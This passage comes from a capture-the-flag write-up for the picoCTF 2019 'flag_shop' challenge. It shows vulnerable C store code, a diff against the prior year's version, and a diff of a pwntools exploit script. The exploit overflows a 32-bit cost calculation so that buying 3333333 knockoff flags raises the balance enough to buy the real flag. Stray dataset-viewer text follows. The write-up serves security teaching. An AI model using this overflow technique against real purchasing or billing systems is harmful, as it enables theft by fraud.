fflush(stdin);
scanf("%d", &auction_choice);
if(auction_choice == 1){
printf("These knockoff Flags cost 900 each, enter desired quantity\n");
int number_flags = 0;
fflush(stdin);
scanf("%d", &number_flags);
if(number_flags > 0){
int total_cost = 0;
total_cost = 900*number_flags;
printf("\nThe final cost is: %d\n", total_cost);
if(total_cost <= account_balance){
account_balance = account_balance - total_cost;
printf("\nYour current balance after transaction: %d\n\n", account_balance);
}
else{
printf("Not enough funds to complete purchase\n");
}
}
}
else if(auction_choice == 2){
printf("1337 flags cost 100000 dollars, and we only have 1 in stock\n");
printf("Enter 1 to buy one");
int bid = 0;
fflush(stdin);
scanf("%d", &bid);
if(bid == 1){
if(account_balance > 100000){
FILE *f = fopen("flag.txt", "r");
if(f == NULL){
printf("flag not found: please run this on the server\n");
exit(0);
}
char buf[64];
fgets(buf, 63, f);
printf("YOUR FLAG IS: %s\n", buf);
}
else{
printf("\nNot enough funds for transaction\n\n\n");
}
}
}
}
else{
con = 1;
}
}
return 0;
}
```
## Solution:
This challenge is similar to last year's [store](/2018_picoCTF/store.md).
Most of the differences are related to strings:
```console
root@kali:/media/sf_CTFs/pico/flag_shop# diff store.c ../../pico_2018/store/source.c
5d4
< setbuf(stdout, NULL);
11,12c10,11
< printf("Welcome to the flag exchange\n");
< printf("We sell flags\n");
---
> printf("Welcome to the Store App V1.0\n");
> printf("World's Most Secure Purchasing App\n");
14,16c13,15
< printf("\n1. Check Account Balance\n");
< printf("\n2. Buy Flags\n");
< printf("\n3. Exit\n");
---
> printf("\n[1] Check Account Balance\n");
> printf("\n[2] Buy Stuff\n");
> printf("\n[3] Exit\n");
25,27c24,26
< printf("Currently for sale\n");
< printf("1. Defintely not the flag Flag\n");
< printf("2. 1337 Flag\n");
---
> printf("Current Auctions\n");
> printf("[1] I Can't Believe its not a Flag!\n");
> printf("[2] Real Flag\n");
32c31
< printf("These knockoff Flags cost 900 each, enter desired quantity\n");
---
> printf("Imitation Flags cost 1000 each, how many would you like?\n");
39,40c38,39
< total_cost = 900*number_flags;
< printf("\nThe final cost is: %d\n", total_cost);
---
> total_cost = 1000*number_flags;
> printf("\nYour total cost is: %d\n", total_cost);
43c42
< printf("\nYour current balance after transaction: %d\n\n", account_balance);
---
> printf("\nYour new balance: %d\n\n", account_balance);
46c45
< printf("Not enough funds to complete purchase\n");
---
> printf("Not enough funds\n");
57,58c56,57
< printf("1337 flags cost 100000 dollars, and we only have 1 in stock\n");
< printf("Enter 1 to buy one");
---
> printf("A genuine Flag costs 100000 dollars, and we only have 1 in stock\n");
> printf("Enter 1 to purchase");
66,74c65
< FILE *f = fopen("flag.txt", "r");
< if(f == NULL){
<
< printf("flag not found: please run this on the server\n");
< exit(0);
< }
< char buf[64];
< fgets(buf, 63, f);
< printf("YOUR FLAG IS: %s\n", buf);
---
> printf("YOUR FLAG IS:\n");
```
The only difference that affects the solution is the fact that flags now cost 900 each, instead of 1000.
This requires the following changes in the exploit:
```console
root@kali:/media/sf_CTFs/pico/flag_shop# diff exploit.py ../../pico_2018/store/exploit.py
3c3
< r = remote("2019shell1.picoctf.com", 29250)
---
> r = remote("2018shell3.picoctf.com", 43581)
24,26c24,26
< r.sendlineafter("2. 1337 Flag\n", FLAG_IMITATION)
< r.sendlineafter("These knockoff Flags cost 900 each, enter desired quantity", str(amount))
< print r.recvregex("Your current balance after transaction: \d+\n").strip()
---
> r.sendlineafter("[2] Real Flag\n", FLAG_IMITATION)
> r.sendlineafter("Imitation Flags cost 1000 each, how many would you like?", str(amount))
> print r.recvregex("Your new balance: \d+\n").strip()
31,32c31,32
< r.sendlineafter("2. 1337 Flag\n", FLAG_REAL)
< r.sendlineafter("Enter 1 to buy one", BUY_REAL_FLAG)
---
> r.sendlineafter("[2] Real Flag\n", FLAG_REAL)
> r.sendlineafter("Enter 1 to purchase", BUY_REAL_FLAG)
42c42
< buy_imitation_flag(3333333)
---
> buy_imitation_flag(2222222)
```
2222222 flags won't do anymore, since that would bring us to a negative balance, we must buy 3333333 instead to trigger the overflow.
```python
>>> 1100 - numpy.int32(2222222*900)
-1999998700
>>> 1100 - numpy.int32(3333333*900)
1294968696
```
|
sec-knowleage
|
Subsets and Splits
Top 100 EPUB Books
This query retrieves a limited set of raw data entries that belong to the 'epub_books' category, offering only basic filtering without deeper insights.